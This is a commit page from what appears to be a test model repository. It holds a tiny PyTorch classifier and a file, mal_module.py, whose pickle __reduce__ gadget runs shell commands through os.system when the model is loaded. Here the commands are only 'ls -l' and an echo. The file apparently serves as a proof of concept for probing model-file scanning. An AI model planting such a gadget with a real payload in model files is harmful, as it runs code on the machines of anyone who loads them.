dkteg commited on
Commit
db32fc7
·
0 Parent(s):

initial commit

Browse files
.gitignore ADDED
@@ -0,0 +1,2 @@
 
 
 
1
+ **/test.py
2
+ **/__pycache__/
README.md ADDED
@@ -0,0 +1,10 @@
 
 
 
 
 
 
 
 
 
 
 
1
+ ```python
2
+ import torch
3
+ from transformers import AutoModel
4
+
5
+ model = AutoModel.from_pretrained("tester-123456789/tiny-model", trust_remote_code=True)
6
+ x = torch.randn(2, 100) # batch=2, features=100
7
+ with torch.no_grad():
8
+ probs = model(x)
9
+ print(probs.shape) # torch.Size([2, 10])
10
+ ```
config.json ADDED
@@ -0,0 +1,11 @@
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "model_type": "tinymodel",
3
+ "architectures": ["TinyModel"],
4
+ "input_size": 100,
5
+ "hidden_size": 200,
6
+ "num_labels": 10,
7
+ "auto_map": {
8
+ "AutoConfig": "configuration_tinymodel.TinyModelConfig",
9
+ "AutoModel": "modeling_tinymodel.TinyModel"
10
+ }
11
+ }
configuration_tinymodel.py ADDED
@@ -0,0 +1,10 @@
 
 
 
 
 
 
 
 
 
 
 
1
+ from transformers import PretrainedConfig
2
+
3
+ class TinyModelConfig(PretrainedConfig):
4
+ model_type = "tinymodel"
5
+
6
+ def __init__(self, input_size=100, hidden_size=200, num_labels=10, **kwargs):
7
+ super().__init__(**kwargs)
8
+ self.input_size = input_size
9
+ self.hidden_size = hidden_size
10
+ self.num_labels = num_labels
mal_module.py ADDED
@@ -0,0 +1,14 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import pickle
2
+
3
+ class Vuln():
4
+ def __reduce__(self):
5
+ return (build_model, ())
6
+
7
+
8
+ def build_model():
9
+ import os
10
+ return os.system("ls -l",)
11
+
12
+ def build_another_model():
13
+ import os
14
+ return os.system("echo 'malicious code executed'",)
modeling_tinymodel.py ADDED
@@ -0,0 +1,38 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import torch
2
+ import torch.nn as nn
3
+ from transformers import PreTrainedModel
4
+ from .configuration_tinymodel import TinyModelConfig
5
+
6
+ class TinyCore(nn.Module):
7
+ """Your original TinyModel, but embedded here for convenience."""
8
+ def __init__(self, cfg: TinyModelConfig):
9
+ super().__init__()
10
+ self.linear1 = nn.Linear(cfg.input_size, cfg.hidden_size)
11
+ self.activation = nn.ReLU()
12
+ self.linear2 = nn.Linear(cfg.hidden_size, cfg.num_labels)
13
+ self.softmax = nn.Softmax(dim=-1)
14
+
15
+ def forward(self, x: torch.Tensor):
16
+ x = self.linear1(x)
17
+ x = self.activation(x)
18
+ x = self.linear2(x)
19
+ x = self.softmax(x)
20
+ return x
21
+
22
+ class TinyModel(PreTrainedModel):
23
+ config_class = TinyModelConfig
24
+
25
+ def __init__(self, config: TinyModelConfig):
26
+ super().__init__(config)
27
+ self.core = TinyCore(config)
28
+ self.post_init() # Initializes weights if needed
29
+
30
+ def forward(self, inputs: torch.Tensor, **kwargs):
31
+ """
32
+ Expect inputs shape: (batch, config.input_size)
33
+ """
34
+ return self.core(inputs)
35
+
36
+ # (Optional) helper for logits-only
37
+ def predict_proba(self, inputs: torch.Tensor):
38
+ return self.forward(inputs)
pytorch_model.bin ADDED
Binary file (82.5 kB). View file